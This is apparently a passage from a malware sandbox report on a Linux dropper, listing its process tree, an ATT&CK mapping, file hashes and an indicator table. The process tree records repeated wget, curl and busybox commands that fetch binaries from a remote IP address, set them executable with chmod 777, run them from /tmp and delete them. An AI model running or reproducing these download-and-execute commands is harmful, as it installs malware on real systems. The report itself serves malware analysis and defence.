  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  ./P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
  2⤵
  PID:974
- /usr/bin/wget
  wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:975
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:977
- /bin/chmod
  chmod 777 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  ./41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm 41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
  2⤵
  PID:980
- /usr/bin/wget
  wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:981
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:982
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:983
- /bin/chmod
  chmod 777 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  ./68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm 68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
  2⤵
  PID:986
- /usr/bin/wget
  wget http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:987
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:989
- /bin/chmod
  chmod 777 g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - File and Directory Permissions Modification
  PID:990
- /tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  ./g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  - Executes dropped EXE
  PID:991
- /bin/rm
  rm g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
  2⤵
  PID:992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8

Path /tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	747	41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	757	68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
/tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6	763	g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6
/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	775	xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	791	d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	811	bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	832	3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	841	BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	847	All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	867	P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	888	rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	895	9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	901	Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	907	vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
/tmp/bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl	913	bSZKILHphahGVKaDSWyRyiyv3V53sb6ZSl
/tmp/3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm	919	3lge6DTy6o4zY6N38Tq5wbNAEYABj5xTUm
/tmp/BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS	925	BFbDzjpmoVuWvZOAmmO8U2z4I7pFDxtQIS
/tmp/xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4	931	xOjoTuURZBTK909AGSKkzigx2kFCdYAsi4
/tmp/d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20	937	d5VrhXwTneQqcLKtqcOZ5HTyFhcPl9gm20
/tmp/rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe	943	rdH1gwz8XqQaMcaAknedIsDOKVcZHtaXXe
/tmp/9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB	949	9CVHzaklHkmQapjz4p8T2mn20KSMOkxVDB
/tmp/Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY	955	Qt7BHe5FV3as5pOSwSu0UAcdTc2Bs8Y9MY
/tmp/vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB	961	vXP6MzURLs11wW7oTdMIDTwDxcH83bZoUB
/tmp/All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8	967	All8Ii6CgxhDHTZMKlQNCriXJXyIft28V8
/tmp/P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo	973	P82lv7v3AS9m7fwTPPFXYsLHNajqOBOpAo
/tmp/41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8	979	41VIQCv8eJFgNxyZaZRkyABUPXwappKwS8
/tmp/68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5	985	68Tr6ePyQyTnNkXofoEeqetmWxTONelLH5
/tmp/g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6	991	g0spj4FtxG4mpnQx3SUQJJypT7Of0UxJY6